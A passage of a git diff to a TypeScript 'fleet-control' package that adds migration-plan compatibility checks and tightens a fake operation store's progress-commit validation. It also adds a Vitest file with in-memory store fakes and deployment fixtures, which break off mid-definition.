platformOnlyChangeOf(stored, admitted); if ( spec.schemaVersion < stored.schemaVersion && + frozenPlanKind !== 'platform-only' && !platformOnlyChange && stored.migrationIntent?.platformOnly !== true ) { @@ -2312,6 +2320,170 @@ export async function admitFleetMigrationItem( return { admitted, plan, reread }; } +export async function revalidateFleetMigrationAdmission( + deps: FleetMigrationDependencies, + plan: readonly FleetMigrationPlanEntry[], + targetSpecDigest: string, + tenantTag: string, + environment: string, +): Promise< + | Readonly<{ admitted: AdmittedFleetMigrationContext; reread: FleetRecord }> + | Readonly<{ reason: 'target-drift' }> +> { + const result = await runFleetMigrationPreamble( + deps, + tenantTag, + environment, + 'resumption', + ); + if (result.admitted.targetDigest !== targetSpecDigest) { + return { reason: 'target-drift' }; + } + const planKind = fleetMigrationPlanKindOf(plan); + if (planKind !== 'ready') { + assertFleetMigrationNonReadyGuards( + result.admitted, + result.reread, + planKind, + ); + } + return result; +} + +const MIGRATION_STEP_SUBPHASE: Readonly< + Partial> +> = { + 'admit-migrating': 'planned', + 'platform-only-schema': 'schema-applied', + 'platform-only-resources': 'platform-applied', + 'platform-only-promote': 'route-published', + 'migration-schema-applied': 'schema-applied', + 'platform-resources': 'platform-applied', + 'deploy-candidate': 'candidate-deployed', + 'arm-maintenance': 'candidate-armed', + promote: 'route-published', +}; + +function refuseFleetMigrationPlan(): never { + throw new Error('fleet migration item no longer matches its frozen plan'); +} + +function assertFleetMigrationFloors( + admitted: AdmittedFleetMigrationContext, + plan: readonly FleetMigrationPlanEntry[], + planCursor: number, + current: FleetRecord, +): void { + const reachable: ExternalMigrationSubphase[] = ['planned']; + let subphaseFloor: ExternalMigrationSubphase | undefined; + let schemaFloor = 0; + let candidateCompleted = false; + for (const [index, { step, targetSchemaVersion }] of plan.entries()) { + const subphase = MIGRATION_STEP_SUBPHASE[step]; + if (subphase && step !== 'admit-migrating') reachable.push(subphase); + if (index >= planCursor) continue; + if (subphase) subphaseFloor = subphase; + if (step === 'apply-migrations') { + schemaFloor = Math.max( + schemaFloor, + targetSchemaVersion ?? admitted.spec.schemaVersion, + ); + } + if (step === 'deploy-candidate') candidateCompleted = true; + } + if (current.schemaVersion < schemaFloor) refuseFleetMigrationPlan(); + if (admitted.immutableExternal) { + let previous = -1; + for (const subphase of reachable) { + const index = EXTERNAL_MIGRATION_SUBPHASES.indexOf(subphase); + if (index <= previous) refuseFleetMigrationPlan(); + previous = index; + } + const subphase = current.migrationIntent?.subphase; + if ( + (subphase !== undefined && !reachable.includes(subphase)) || + (subphaseFloor !== undefined && + (subphase === undefined || + reachable.indexOf(subphase) < reachable.indexOf(subphaseFloor))) + ) { + refuseFleetMigrationPlan(); + } + } else if ( + candidateCompleted && + current.pendingArtifactVersion === undefined + ) { + refuseFleetMigrationPlan(); + } +} + +export async function assertFleetMigrationPlanCompatibility( + admitted: AdmittedFleetMigrationContext, + item: Required>, + current: FleetRecord, +): Promise { + const { plan, planCursor } = item; + if ( + !Number.isSafeInteger(planCursor) || + planCursor < 0 || + !plan[planCursor] + ) { + refuseFleetMigrationPlan(); + } + const planKind = fleetMigrationPlanKindOf(plan); + if (planKind === 'ready') { + if ( + current.phase !== 'ready' || + current.desiredSpecDigest !== admitted.targetDigest || + platformOnlyChangeOf(current, admitted) || + (admitted.targetPlatform && + planCursor > + plan.findIndex(({ step }) => step === 'ready-target-backfill') && + !current.platformTarget) + ) { + refuseFleetMigrationPlan(); + } + return; + } + const terminal = plan.findIndex( + ({ step }) => + step === + (planKind === 'platform-only' ? 'platform-only-ready' : 'settle-ready'), + ); + if (terminal < 0) refuseFleetMigrationPlan(); + if (planCursor >= terminal) { + if (isConvergedTerminalCommit(current, admitted, planKind)) return; + if (planCursor > terminal) refuseFleetMigrationPlan(); + } + const admission = plan.findIndex(({ step }) => step === 'admit-migrating'); + if ( + admission >= 0 && + (planCursor < admission || + (planCursor === admission && current.phase === 'ready')) + ) { + const platformOnly = platformOnlyChangeOf(current, admitted); + if ( + current.phase !== 'ready' || + (current.desiredSpecDigest === admitted.targetDigest && !platformOnly) || + platformOnly !== (planKind === 'platform-only') + ) { + refuseFleetMigrationPlan(); + } + return; + } + if ( + current.phase !== 'migrating' || + (current.migrationIntent?.platformOnly === true) !== + (planKind === 'platform-only') + ) { + refuseFleetMigrationPlan(); + } + assertFleetMigrationFloors(admitted, plan, planCursor, current); + const assertion = plan.findIndex(({ step }) => step === 'assert-migrating'); + if (assertion >= 0 && planCursor > assertion) { + await assertMigratingCarrierState(admitted, current); + } +} + function isPlatformOnlyTerminalProjection( current: FleetRecord, admitted: AdmittedFleetMigrationContext, @@ -3168,7 +3340,8 @@ async function migrationDeployCandidate( spec, targetDigest, current.migrationIntent?.targetRelease.application ?? - current.pendingRelease?.application, + current.pendingRelease?.application ?? + applicationBindingTopology(spec, current.applicationResources ?? []), ); if (current.pendingRelease) { assertExternalReleaseArtifactVersion( @@ -3276,7 +3449,8 @@ async function migrationPromote( spec, targetDigest, current.migrationIntent?.targetRelease.application ?? - current.pendingRelease?.application, + current.pendingRelease?.application ?? + applicationBindingTopology(spec, current.applicationResources ?? []), ); if (current.pendingRelease) { assertExternalReleaseArtifactVersion( @@ -3342,7 +3516,8 @@ async function migrationSettleReady( spec, targetDigest, current.migrationIntent?.targetRelease.application ?? - current.pendingRelease?.application, + current.pendingRelease?.application ?? + applicationBindingTopology(spec, current.applicationResources ?? []), ); if (current.pendingRelease) { assertExternalReleaseArtifactVersion( diff --git a/packages/fleet-control/test/fleet-audit-advance.test.ts b/packages/fleet-control/test/fleet-audit-advance.test.ts index fd33c43f..a4117e4b 100644 --- a/packages/fleet-control/test/fleet-audit-advance.test.ts +++ b/packages/fleet-control/test/fleet-audit-advance.test.ts @@ -44,6 +44,7 @@ import { type FleetOperationRowKind, type FleetOperationRunRecord, type FleetOperationStagedRow, + FleetOperationStateError, type FleetOperationStore, FleetOperationTokenFutureError, FleetOperationTokenKindError, @@ -974,6 +975,15 @@ class FakeOperationStore implements FleetOperationStore { } = input; const rows = this.#validatedRows(inputRows); const updateRows = this.#validatedRows(inputUpdateRows); + const mutationKeys = [...rows, ...updateRows].map( + (row) => `${row.rowKind}:${row.ordinal}`, + ); + if ( + updateRows.some((row) => row.rowKind !== 'item') || + new Set(mutationKeys).size !== mutationKeys.length + ) { + throw new FleetOperationStateError(); + } if ( rows.length + updateRows.length + 1 > FLEET_OPERATION_STAGE_BATCH_STATEMENTS @@ -982,6 +992,17 @@ class FakeOperationStore implements FleetOperationStore { `commitProgress exceeds the operation batch budget of ${FLEET_OPERATION_STAGE_BATCH_STATEMENTS} statements`, ); } + for (const [rowKind, watermark] of Object.entries(expectedRowWatermarks)) { + const below = rows.filter( + (row) => row.rowKind === rowKind && row.ordinal < (watermark as number), + ); + const prefix = (watermark as number) - below.length; + if (below.some((row) => row.ordinal < prefix)) { + throw new Error( + `commitProgress ${rowKind} rows below the watermark must be the contiguous run ending at it`, + ); + } + } const current = this.operations.get(operationId); const matches = current !== undefined && @@ -993,24 +1014,11 @@ class FakeOperationStore implements FleetOperationStore { // before anything persists. Evaluated BEFORE the mutations below, and on // the matching branch as well as the convergence one: otherwise the // coordinator's watermark claims run against no enforcing implementation - // on the path its titles actually take. Both obligations the port states - // are checked here before this branch mutates anything: the watermark - // count over the persisted ordinals plus this batch's own, and the - // contiguous-run precondition on the batch's inserts below the - // watermark, which `commitWatermarkBindings` refuses before any SQL. + // on the path its titles actually take. The input-prefix precondition + // above applies to both branches, as it does before the real D1 batch. for (const [rowKind, watermark] of Object.entries( expectedRowWatermarks, )) { - const below = rows.filter( - (row) => - row.rowKind === rowKind && row.ordinal < (watermark as number), - ); - const prefix = (watermark as number) - below.length; - if (below.some((row) => row.ordinal < prefix)) { - throw new Error( - `commitProgress ${rowKind} rows below the watermark must be the contiguous run ending at it`, - ); - } const key = this.#rowsKey( operationId, rowKind as FleetOperationRowKind, @@ -1049,18 +1057,8 @@ class FakeOperationStore implements FleetOperationStore { this.operations.set(operationId, runRecord); return Promise.resolve(runRecord); } - let complete = true; - for (const row of [...rows, ...updateRows]) { - const key = this.#rowsKey(operationId, row.rowKind); - const list = this.rows.get(key) ?? []; - const stored = list.find((existing) => existing.ordinal === row.ordinal); - if (!stored) complete = false; - else if (JSON.stringify(stored.payload) !== JSON.stringify(row.payload)) { - throw new Error( - `fleet operation '${operationId}' staged rows diverge from the persisted operation`, - ); - } - } + const persisted = this.operations.get(operationId); + if (!persisted) throw new Error(`no fleet operation '${operationId}'`); for (const [rowKind, watermark] of Object.entries(expectedRowWatermarks)) { const list = this.rows.get( @@ -1075,18 +1073,32 @@ class FakeOperationStore implements FleetOperationStore { ); } } - const persisted = this.operations.get(operationId); if ( - complete && - persisted && - persisted.progress.revision === runRecord.progress.revision && - JSON.stringify(persisted) === JSON.stringify(runRecord) + persisted.progress.revision !== runRecord.progress.revision || + JSON.stringify(persisted) !== JSON.stringify(runRecord) ) { - return Promise.resolve(persisted); + throw new Error( + `fleet operation '${operationId}' is no longer at the expected revision`, + ); } - throw new Error( - `fleet operation '${operationId}' is no longer at the expected revision`, - ); + let complete = true; + for (const row of [...rows, ...updateRows]) { + const key = this.#rowsKey(operationId, row.rowKind); + const list = this.rows.get(key) ?? []; + const stored = list.find((existing) => existing.ordinal === row.ordinal); + if (!stored) complete = false; + else if (JSON.stringify(stored.payload) !== JSON.stringify(row.payload)) { + throw new Error( + `fleet operation '${operationId}' staged rows diverge from the persisted operation`, + ); + } + } + if (!complete) { + throw new Error( + `fleet operation '${operationId}' is no longer at the expected revision`, + ); + } + return Promise.resolve(persisted); } #validatedRows( @@ -1186,6 +1198,165 @@ class FakeOperationStore implements FleetOperationStore { } } +describe('operation fake guarded progress contract', () => { + it('orders convergence identities and enforces both watermark writer obligations', async () => { + const operationId = uuidFor(990); + const initial = { + version: 1, + operationId, + kind: 'migration', + state: 'running', + progress: { + kind: 'migration', + revision: 0, + itemCount: 1, + activeItemOrdinal: 0, + completedItemCount: 0, + }, + updatedAt: '2026-09-05T00:00:00.000Z', + } as const; + const intended: FleetOperationRunRecord = { + ...initial, + progress: { ...initial.progress, revision: 1 }, + }; + const row: FleetOperationStagedRow = { + rowKind: 'item', + ordinal: 0, + payload: { + ordinal: 0, + tenantTag: 'fake', + environment: 'production', + entryRecordDigest: 'a'.repeat(64), + status: 'pending', + }, + }; + const different = { + ...row, + payload: { ...row.payload, tenantTag: 'other' }, + }; + for (const variant of [ + 'missing-operation', + 'watermark', + 'other-record', + 'different-row', + 'missing-row', + 'converged', + ] as const) { + const store = new FakeOperationStore(); + if (variant !== 'missing-operation') { + store.operations.set( + operationId, + variant === 'other-record' + ? { ...intended, state: 'failed' } + : intended, + ); + } + store.rows.set( + `${operationId}:item`, + variant === 'missing-row' + ? [] + : [variant === 'converged' ? row : different], + ); + await store.withAccountOperationLease('migration', async (lease) => { + const commit = lease.commitProgress({ + operationId, + expectedRevision: 0, + runRecord: intended, + updateRows: [row], + expectedRowWatermarks: { + item: + variant === 'watermark' ? 2 : variant === 'missing-row' ? 0 : 1, + }, + }); + if (variant === 'converged') { + await expect(commit).resolves.toEqual(intended); + } else { + const message = + variant === 'missing-operation' + ? `no fleet operation '${operationId}'` + : variant === 'different-row' + ? `fleet operation '${operationId}' staged rows diverge from the persisted operation` + : `fleet operation '${operationId}' is no longer at the expected revision`; + await expect(commit).rejects.toThrow(message); + } + }); + } + for (const insert of [false, true]) { + const store = new FakeOperationStore(); + store.operations.set(operationId, initial); + store.rows.set(`${operationId}:item`, [row]); + await store.withAccountOperationLease('migration', async (lease) => { + await expect( + lease.commitProgress({ + operationId, + expectedRevision: 0, + runRecord: intended, + ...(insert ? { rows: [different] } : {}), + expectedRowWatermarks: { item: 2 }, + }), + ).rejects.toThrow( + insert + ? 'commitProgress item rows below the watermark must be the contiguous run ending at it' + : `fleet operation '${operationId}' is no longer at the expected revision`, + ); + }); + expect(store.operations.get(operationId)).toEqual(initial); + expect(store.rows.get(`${operationId}:item`)).toEqual([row]); + } + const replay = new FakeOperationStore(); + const secondRow: FleetOperationStagedRow = { + ...row, + ordinal: 1, + payload: { ...row.payload, ordinal: 1 }, + }; + const twoItems = { + ...intended, + progress: { + ...initial.progress, + revision: 1, + itemCount: 2, + }, + }; + replay.operations.set(operationId, twoItems); + replay.rows.set(`${operationId}:item`, [row, secondRow]); + await replay.withAccountOperationLease('migration', async (lease) => { + await expect( + lease.commitProgress({ + operationId, + expectedRevision: 0, + runRecord: twoItems, + rows: [row], + expectedRowWatermarks: { item: 2 }, + }), + ).rejects.toThrow( + 'commitProgress item rows below the watermark must be the contiguous run ending at it', + ); + }); + expect(replay.operations.get(operationId)).toEqual(twoItems); + expect(replay.rows.get(`${operationId}:item`)).toEqual([row, secondRow]); + for (const mutations of [ + { rows: [secondRow, secondRow] }, + { rows: [secondRow], updateRows: [secondRow] }, + { updateRows: [secondRow, secondRow] }, + { updateRows: [{ ...row, rowKind: 'record' as const }] }, + ]) { + await replay.withAccountOperationLease('migration', async (lease) => { + await expect( + lease.commitProgress({ + operationId, + expectedRevision: 0, + runRecord: twoItems, + expectedRowWatermarks: { item: 2 }, + ...mutations, + }), + ).rejects.toBeInstanceOf(FleetOperationStateError); + }); + expect(replay.operations.get(operationId)).toEqual(twoItems); + expect(replay.rows.get(`${operationId}:item`)).toEqual([row, secondRow]); + } + }); +}); + // --------------------------------------------------------------------------- // Shared drive helpers. // --------------------------------------------------------------------------- diff --git a/packages/fleet-control/test/fleet-migration-advance.test.ts b/packages/fleet-control/test/fleet-migration-advance.test.ts new file mode 100644 index 00000000..98bbb5f3 --- /dev/null +++ b/packages/fleet-control/test/fleet-migration-advance.test.ts @@ -0,0 +1,2279 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { describe, expect, it } from 'vitest'; +import { applicationBindingTopology } from '../src/application-bindings.js'; +import { + admitFleetMigrationItem, + assertFleetMigrationPlanCompatibility, + executeNextMigrationStep, + migrateFleet, +} from '../src/fleet.js'; +import { + type AdvanceFleetMigrationOptions, + abandonFleetMigrationOperation, + advanceFleetMigration, + type FleetMigrationAdvanceAction, + FleetMigrationAdvanceCapabilityError, + type FleetMigrationAdvanceResult, + readFleetMigrationItemsPage, +} from '../src/fleet-migration-advance.js'; +import { + type FleetMigrationItem, + type FleetMigrationStep, + fleetMigrationItemFromUnknown, +} from '../src/fleet-migration-state.js'; +import { + FLEET_OPERATION_INTAKE_BYTE_BOUND, + FLEET_OPERATION_ITEM_BOUND, + FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, + type FleetOperationKind, + type FleetOperationLease, + type FleetOperationRowKind, + type FleetOperationRunRecord, + type FleetOperationStagedRow, + FleetOperationStateError, + type FleetOperationStore, + FleetOperationTokenFutureError, + FleetOperationTokenKindError, + FleetOperationTokenOperationError, + fleetOperationIntakeDigest, + fleetOperationStagedRowFromUnknown, +} from '../src/fleet-operation-state.js'; +import { + canonicalDeploymentEgressPolicy, + durableObjectMigrationHistoryDigest, + externalEgressProxyScriptName, + externalPlatformResourceGroupId, + externalStateScriptName, +} from '../src/platform-resources.js'; +import { providerBindingIdentitiesForInspection } from '../src/provider-binding-inventory.js'; +import { deploymentSpecDigest } from '../src/spec-digest.js'; +import type { + ApplicationBindingTopology, + DeploymentSecrets, + DeploymentSpec, + ExternalPlatformResources, + ExternalPlatformTargetDescription, + ExternalReleaseSnapshot, + FleetRecord, + FleetStateLease, + FleetStateStore, + LiveDeployment, + MaintenanceHealth, + ProvisioningBackend, +} from '../src/types.js'; +import { externalReleaseScriptName } from '../src/workers-for-platforms-backend.js'; + +const NOW = Date.parse('2026-09-05T12:00:00.000Z'); +const KEY = + '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}'; +const EMPTY_APPLICATION: ApplicationBindingTopology = { + vars: [], + secrets: [], + r2Buckets: [], +}; +const HEALTHY: MaintenanceHealth = { + armed: true, + nextAlarmAt: NOW + 60_000, + lastSweepAt: NOW, + lastPurgeAt: NOW, +}; +const SECRETS: DeploymentSecrets = { + deploymentIdentity: 'migration-identity-private-value-00000001', + maintenanceAdmin: 'migration-maintenance-private-value-00001', +}; +const unused = async (): Promise => { + throw new Error('unexpected provider operation'); +}; +const uuid = (seed = 1) => + `${seed.toString(16).padStart(8, '0')}-0000-4000-8000-000000000000`; +const copy = (value: T): T => JSON.parse(JSON.stringify(value)) as T; +const conflict = (id: string) => + new Error(`fleet operation '${id}' is no longer at the expected revision`); +const divergence = (id: string) => + new Error( + `fleet operation '${id}' staged rows diverge from the persisted operation`, + ); + +class MemoryOperationStore implements FleetOperationStore { + readonly operations = new Map(); + readonly rows = new Map(); + readonly digests = new Map(); + readonly heads = new Map(); + readonly locked = new Set(); + readonly calls: string[] = []; + readonly commits: Parameters[0][] = []; + loseLease = false; + loseCommit: 'before' | 'after' | undefined; + stageLimit: number | undefined; + beforeLease: (() => void) | undefined; + beforeCommit: + | ((input: Parameters[0]) => void) + | undefined; + beforePage: (() => void) | undefined; + reversePages = false; + + async withAccountOperationLease( + kind: FleetOperationKind, + run: (lease: FleetOperationLease) => Promise, + ): Promise { + this.beforeLease?.(); + if (this.locked.has(kind)) throw new Error(`contended ${kind} lease`); + this.locked.add(kind); + const assertOwned = async () => { + if (this.loseLease) throw new Error('operation lease lost'); + }; + try { + return await run({ + assertOwned, + readOperation: async (id) => this.operations.get(id), + startOperation: async (input) => { + await assertOwned(); + this.calls.push('start'); + const prior = this.operations.get(input.operationId); + if (prior) { + if (prior.kind !== kind) + throw new Error( + `fleet operation '${input.operationId}' belongs to the other operation kind`, + ); + if (this.digests.get(input.operationId) !== input.intakeDigest) + throw new Error( + `fleet operation '${input.operationId}' already exists with a different intake`, + ); + return { + outcome: + prior.state === 'running' + ? 'adopted-running' + : 'adopted-terminal', + record: copy(prior), + }; + } + if (this.heads.has(kind)) + throw new Error( + `another fleet ${kind} operation is active for this account`, + ); + this.operations.set(input.operationId, copy(input.runRecord)); + this.digests.set(input.operationId, input.intakeDigest); + this.heads.set(kind, input.operationId); + return { outcome: 'created', record: copy(input.runRecord) }; + }, + stageRows: async (input) => { + await assertOwned(); + this.calls.push('stage'); + const record = this.operations.get(input.operationId); + if ( + record?.state !== 'running' || + record.progress.revision !== input.expectedRevision + ) + return; + const previous = new Map(); + for (const [index, row] of input.rows.entries()) { + if (index === this.stageLimit) { + this.stageLimit = undefined; + throw new Error('staging interrupted'); + } + if (row.ordinal <= (previous.get(row.rowKind) ?? -1)) + throw new Error('staging is not ordered'); + previous.set(row.rowKind, row.ordinal); + const validated = this.validateRow(row); + const rows = this.rows.get(input.operationId) ?? []; + if ( + !rows.some( + (prior) => + prior.rowKind === row.rowKind && + prior.ordinal === row.ordinal, + ) + ) + rows.push(validated); + this.rows.set(input.operationId, rows); + } + }, + commitProgress: async (input) => { + this.calls.push('commit'); + this.commits.push(copy(input)); + this.beforeCommit?.(input); + if (this.loseCommit === 'before') { + this.loseCommit = undefined; + throw new Error('progress response lost'); + } + const rows = (input.rows ?? []).map((row) => this.validateRow(row)); + const updates = (input.updateRows ?? []).map((row) => + this.validateRow(row), + ); + const mutationKeys = [...rows, ...updates].map( + (row) => `${row.rowKind}:${row.ordinal}`, + ); + if ( + updates.some((row) => row.rowKind !== 'item') || + new Set(mutationKeys).size !== mutationKeys.length + ) { + throw new FleetOperationStateError(); + } + if (rows.length + updates.length + 1 > 100) + throw new Error( + 'commitProgress exceeds the operation batch budget of 100 statements', + ); + for (const [kind, watermark] of Object.entries( + input.expectedRowWatermarks ?? {}, + )) { + const below = rows.filter( + (row) => row.rowKind === kind && row.ordinal < watermark, + ); + const ordinals = below + .map((row) => row.ordinal) + .sort((a, b) => a - b); + if ( + ordinals.some( + (ordinal, index) => + ordinal !== watermark - below.length + index, + ) + ) + throw new Error( + `commitProgress ${kind} rows below the watermark must be the contiguous run ending at it`, + ); + } + const prior = this.operations.get(input.operationId); + const persistedRows = this.rows.get(input.operationId) ?? []; + if ( + !this.loseLease && + prior?.state === 'running' && + prior.progress.revision === input.expectedRevision + ) { + for (const [kind, watermark] of Object.entries( + input.expectedRowWatermarks ?? {}, + )) { + const ordinals = new Set( + [...persistedRows, ...rows] + .filter( + (row) => row.rowKind === kind && row.ordinal < watermark, + ) + .map((row) => row.ordinal), + ); + if (ordinals.size !== watermark) + throw conflict(input.operationId); + } + for (const row of rows) { + if ( + !persistedRows.some( + (prior) => + prior.rowKind === row.rowKind && + prior.ordinal === row.ordinal, + ) + ) + persistedRows.push(row); + } + for (const row of updates) { + const index = persistedRows.findIndex( + (prior) => + prior.rowKind === row.rowKind && + prior.ordinal === row.ordinal, + ); + if (index >= 0) persistedRows[index] = row; + } + this.rows.set(input.operationId, persistedRows); + this.operations.set(input.operationId, copy(input.runRecord)); + } else { + if (!prior) + throw new Error(`no fleet operation '${input.operationId}'`); + for (const [kind, watermark] of Object.entries( + input.expectedRowWatermarks ?? {}, + )) { + if ( + persistedRows.filter( + (row) => row.rowKind === kind && row.ordinal < watermark, + ).length !== watermark + ) + throw conflict(input.operationId); + } + if (JSON.stringify(prior) !== JSON.stringify(input.runRecord)) + throw conflict(input.operationId); + let complete = true; + for (const row of [...rows, ...updates]) { + const persisted = persistedRows.find( + (prior) => + prior.rowKind === row.rowKind && + prior.ordinal === row.ordinal, + ); + if (!persisted) complete = false; + else if ( + JSON.stringify(persisted.payload) !== + JSON.stringify(row.payload) + ) + throw divergence(input.operationId); + } + if (!complete) throw conflict(input.operationId); + } + if (this.loseCommit === 'after') { + this.loseCommit = undefined; + throw new Error('progress response lost'); + } + return copy( + this.operations.get(input.operationId) as FleetOperationRunRecord, + ); + }, + finalizeOperation: async (input) => { + await assertOwned(); + this.calls.push('finalize'); + const prior = this.operations.get(input.operationId); + if (!prior) + throw new Error(`no fleet operation '${input.operationId}'`); + if ( + prior.state === 'finalized' && + prior.progress.revision === input.runRecord.progress.revision + ) + return prior; + if ( + prior.state !== 'running' || + prior.progress.revision !== input.expectedRevision + ) + throw conflict(input.operationId); + const rows = this.rows.get(input.operationId) ?? []; + for (const [kind, count] of Object.entries(input.expectedRowCounts)) { + if (rows.filter((row) => row.rowKind === kind).length !== count) + throw new Error('finalize counts differ'); + } + if ( + input.requireAllItemsComplete && + rows.some( + (row) => + row.rowKind === 'item' && row.payload.status !== 'complete', + ) + ) + throw new Error('items are incomplete'); + const finalized = { ...input.runRecord, terminalAtMs: NOW }; + this.operations.set(input.operationId, copy(finalized)); + this.heads.delete(kind); + return copy(finalized); + }, + failOperation: async (input) => { + await assertOwned(); + this.calls.push('fail'); + if ((input.updateRows?.length ?? 0) > 1) + throw new Error('failOperation accepts at most one updateRow'); + const prior = this.operations.get(input.operationId); + if (!prior) + throw new Error(`no fleet operation '${input.operationId}'`); + const rows = this.rows.get(input.operationId) ?? []; + if ( + prior.state === 'failed' && + prior.progress.revision === input.runRecord.progress.revision + ) { + for (const row of input.updateRows ?? []) { + const stored = rows.find( + (candidate) => + candidate.rowKind === row.rowKind && + candidate.ordinal === row.ordinal, + ); + if ( + !stored || + JSON.stringify(stored.payload) !== JSON.stringify(row.payload) + ) + throw divergence(input.operationId); + } + return; + } + if ( + prior.state !== 'running' || + prior.progress.revision !== input.expectedRevision + ) + throw conflict(input.operationId); + const updates = (input.updateRows ?? []).map((row) => + this.validateRow(row), + ); + for (const row of updates) { + if ( + !rows.some( + (prior) => + prior.rowKind === row.rowKind && + prior.ordinal === row.ordinal, + ) + ) + throw conflict(input.operationId); + } + for (const row of updates) { + const index = rows.findIndex( + (prior) => + prior.rowKind === row.rowKind && prior.ordinal === row.ordinal, + ); + rows[index] = row; + } + this.operations.set( + input.operationId, + copy({ ...input.runRecord, terminalAtMs: NOW }), + ); + this.heads.delete(kind); + }, + }); + } finally { + this.locked.delete(kind); + } + } + + validateRow(row: FleetOperationStagedRow): FleetOperationStagedRow { + const parsed = fleetOperationStagedRowFromUnknown(row); + if (parsed.rowKind === 'item') + return { + ...parsed, + payload: { ...fleetMigrationItemFromUnknown(parsed.payload) }, + }; + return parsed; + } + + async readOperationById(id: string) { + return this.operations.get(id); + } + + async readOperationRowsPage( + input: Parameters[0], + ) { + this.beforePage?.(); + if ( + !Number.isSafeInteger(input.limit) || + input.limit < 1 || + input.limit > 1000 + ) + throw new Error('limit must be an integer from 1 to 1000'); + const qualifying = (this.rows.get(input.operationId) ?? []) + .filter( + (row) => + row.rowKind === input.rowKind && + row.ordinal > (input.afterOrdinal ?? -1), + ) + .sort((a, b) => a.ordinal - b.ordinal); + const rows = qualifying.slice(0, input.limit).map(copy); + return { + rows: this.reversePages ? rows.reverse() : rows, + done: qualifying.length <= input.limit, + }; + } + + async pruneFleetOperations() { + return { deleted: 0, releasedPins: 0 }; + } + + item(id = uuid(), ordinal = 0): FleetMigrationItem { + const row = this.rows + .get(id) + ?.find((row) => row.rowKind === 'item' && row.ordinal === ordinal); + if (!row) throw new Error('missing item fixture'); + return fleetMigrationItemFromUnknown(row.payload); + } + + setItem(item: FleetMigrationItem, id = uuid()): void { + const rows = this.rows.get(id); + if (!rows) throw new Error('missing rows fixture'); + const index = rows.findIndex( + (row) => row.rowKind === 'item' && row.ordinal === item.ordinal, + ); + rows[index] = { + rowKind: 'item', + ordinal: item.ordinal, + payload: { ...item }, + }; + } +} + +class MemoryFleetStore implements FleetStateStore { + readonly records = new Map(); + readonly puts: FleetRecord[] = []; + readonly ops: string[] = []; + held = false; + beforeGet: (() => void) | undefined; + beforePut: ((record: FleetRecord) => void) | undefined; + transformRead: (record: FleetRecord) => FleetRecord = copy; + + constructor(records: readonly FleetRecord[]) { + for (const record of records) this.set(record); + } + + set(record: FleetRecord): void { + this.records.set(`${record.tenantTag}:${record.environment}`, copy(record)); + } + + async get(tenant: string, environment: string) { + this.ops.push('get'); + this.beforeGet?.(); + const record = this.records.get(`${tenant}:${environment}`); + return record ? this.transformRead(record) : undefined; + } + + async withDeploymentLease( + tenantTag: string, + environment: string, + run: (lease: FleetStateLease) => Promise, + ): Promise { + if (this.held) throw new Error('deployment lease contended'); + this.held = true; + this.ops.push('lease'); + try { + return await run({ + tenantTag, + environment, + mutationLeaseTtlMs: 900_000, + assertOwned: async () => { + if (!this.held) throw new Error('deployment lease lost'); + }, + renew: unused, + put: async (record) => { + if ( + !this.held || + record.tenantTag !== tenantTag || + record.environment !== environment + ) + throw new Error('unfenced put'); + this.beforePut?.(record); + this.puts.push(copy(record)); + this.ops.push( + `put:${record.phase}:${record.migrationIntent?.subphase ?? record.schemaVersion}`, + ); + this.set(record); + }, + delete: unused, + completeCleanup: unused, + deleteReleasingClaims: unused, + }); + } finally { + this.held = false; + } + } + + async list() { + return [...this.records.values()].map(copy); + } + readCleanupReceipt = unused; + pruneCleanupReceipts = unused; +} + +function deploymentSpec( + tenantTag = 'cedar', + schemaVersion = 3, + external = false, +): DeploymentSpec { + return { + tenantTag, + environment: 'production', + scriptName: `worker-${tenantTag}`, + databaseName: `database-${tenantTag}`, + compatibilityDate: '2026-05-01', + mainModule: 'worker.js', + modules: [{ name: 'worker.js', content: 'export default { fetch() {} }' }], + authoredBy: external ? 'external' : 'platform', + schemaVersion, + migrations: Array.from({ length: schemaVersion }, (_, index) => ({ + version: index + 1, + sql: `SELECT ${index + 1}`, + rollbackCompatible: true, + })), + durableObjectMigrations: [], + durableObjectBindings: [], + maintenanceBaseUrl: `https://control-${tenantTag}.example.test`, + routeHostname: `${tenantTag}.example.test`, + }; +} + +function baseRecord(spec: DeploymentSpec): FleetRecord { + return { + tenantTag: spec.tenantTag, + environment: spec.environment, + backend: + spec.authoredBy === 'external' ? 'workers-for-platforms' : 'plain-worker', + scriptName: spec.scriptName, + databaseName: spec.databaseName, + databaseId: `db-${spec.tenantTag}`, + schemaVersion: spec.schemaVersion, + artifactVersion: `v${spec.schemaVersion}`, + desiredSpecDigest: deploymentSpecDigest(spec), + durableObjectBindings: [], + routeHostname: spec.routeHostname, + phase: 'ready', + applicationBindings: EMPTY_APPLICATION, + updatedAt: '2026-08-01T00:00:00.000Z', + }; +} + +function createWorld( + input: { + path?: 'ready' | 'platform-only' | 'full'; + external?: boolean; + tenant?: string; + schemaVersion?: number; + lagging?: boolean; + } = {}, +) { + const path = input.path ?? 'full'; + const external = input.external ?? path === 'platform-only'; + const priorSpec = deploymentSpec(input.tenant ?? 'cedar', 1, external); + let spec = + path === 'full' + ? deploymentSpec(priorSpec.tenantTag, input.schemaVersion ?? 3, external) + : priorSpec; + let stateDigest = 'a'.repeat(64); + const ops: string[] = []; + const releases = new Map(); + const routed = new Map(); + const applications = new Map(); + const ledger = new Set([1]); + const targetFor = ( + targetSpec: DeploymentSpec, + ): ExternalPlatformTargetDescription => ({ + maintenanceCapabilityPublicKey: KEY, + stateArtifactDigest: stateDigest, + stateDurableObjectHistoryDigest: durableObjectMigrationHistoryDigest([]), + egressArtifactDigest: 'b'.repeat(64), + d1SchemaVersion: targetSpec.schemaVersion, + d1SchemaHistoryDigest: deploymentSpecDigest(targetSpec), + outboundPolicy: canonicalDeploymentEgressPolicy({ + policyId: externalPlatformResourceGroupId(targetSpec), + tenantTag: targetSpec.tenantTag, + environment: targetSpec.environment, + allowedHosts: ['api.example.test'], + }), + }); + const resourcesFor = ( + targetSpec: DeploymentSpec, + ): ExternalPlatformResources => ({ + maintenanceCapabilityPublicKey: KEY, + stateWorker: { + scriptName: externalStateScriptName(targetSpec), + artifactVersion: `state-${stateDigest[0]}`, + artifactDigest: stateDigest, + durableObjectBindings: [], + namespaceIds: [], + }, + egressProxy: { + scriptName: 